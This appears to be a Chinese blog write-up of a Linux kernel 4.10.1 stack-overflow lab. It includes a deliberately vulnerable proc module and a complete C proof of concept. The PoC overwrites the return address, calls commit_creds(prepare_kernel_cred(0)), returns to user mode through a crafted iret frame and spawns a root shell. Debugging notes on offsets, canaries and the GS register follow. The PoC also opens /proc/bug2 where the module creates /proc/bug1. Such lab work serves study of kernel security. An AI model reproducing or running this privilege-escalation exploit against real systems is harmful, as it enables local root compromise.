环境
kernel : 4.10.1
漏洞代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/cred.h>
ssize_t bug1_write(struct file * file, const char __user * buff, size_t st, loff_t * loft){
char buf[8];
memcpy(buf,buff ,st);
printk("Hello %s\n bug1_write addr :\t %p",buf,bug1_write);
return st;
}
static struct file_operations myops = {
.write = bug1_write
};
static int null_dereference_init(void)
{
printk(KERN_ALERT "kernelstack driver init! print addr\n");
proc_create("bug1", 0666, 0 , &myops);
return 0;
}
static void null_dereference_exit(void)
{
printk(KERN_ALERT "kernelstack driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
MODULE_LICENSE("Dual BSD");
POC:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame {
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void)
{
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void)
{
//内联可以直接使用全局变量
asm("pushl %cs; popl tf+4;" // set cs
"pushfl; popl tf+8;" // set eflags
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057120;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1056f80;
void payload(void)
{
commit_creds(prepare_kernel_cred(0));
asm("mov $tf, %esp;"
"iret;");
}
int main(void)
{
char buf[24];
memset(buf, 'A', 24);
*((void **)(buf+20)) = &payload; // set eip to payload
init_tf_work();
int fd = open("/proc/bug2", O_WRONLY);
// exploit
write(fd, buf, sizeof(buf));
return 0;
}
如果poc执行造成Kernel panic,而没有将EIP覆盖为0x42424242,可能是编译Kernel时默认开启了canary,需要关闭canary选项:关闭STACK_POTECTOR、menuconfig 菜单中找STACKPOTECTOR。
- 现在通过调试来确定偏移地址。来执行shellcode,查看汇编发现写入地址为$ebp-0x10 那么偏移为20.
- 通过shellcode 了解到如何从内核态返回到用户态。
从内核态返回到用户态出错。
POC 的汇编代码:
问题出现在iret指令:,执行iret之后eip指针指向0xfffffc00 。
修改下POC 解决问题。
- 研究如何从内核态返回到用户态。
iret指令,还原cs ip https://www.felixcloutier.com/x86/iret:iretd 参考资料。
成功执行到getshell , 之后遇到一个崩溃。
地址如图,使用gs时出错。
发现在内核态和用户态时 gs 寄存器的值不一样。在init_tf_work过程中进行保存,在payload过程中进行还原。
提权成功。
- 为什么不一样??在restore_all 过程中并没有对gs寄存器进行还原。
- gs 寄存器的作用
CS,DS,SS,ES,FS,GS 都作为段寄存器。ES,FS,GS为额外数据段。
gs ,fs 使用上的相关资料。
https://unix.stackexchange.com/questions/209968/what-is-the-register-gs-used-for
GS register is used to differentiate between usermode and kernel mode range of address, after adding the relevant logical address component.
0 条评论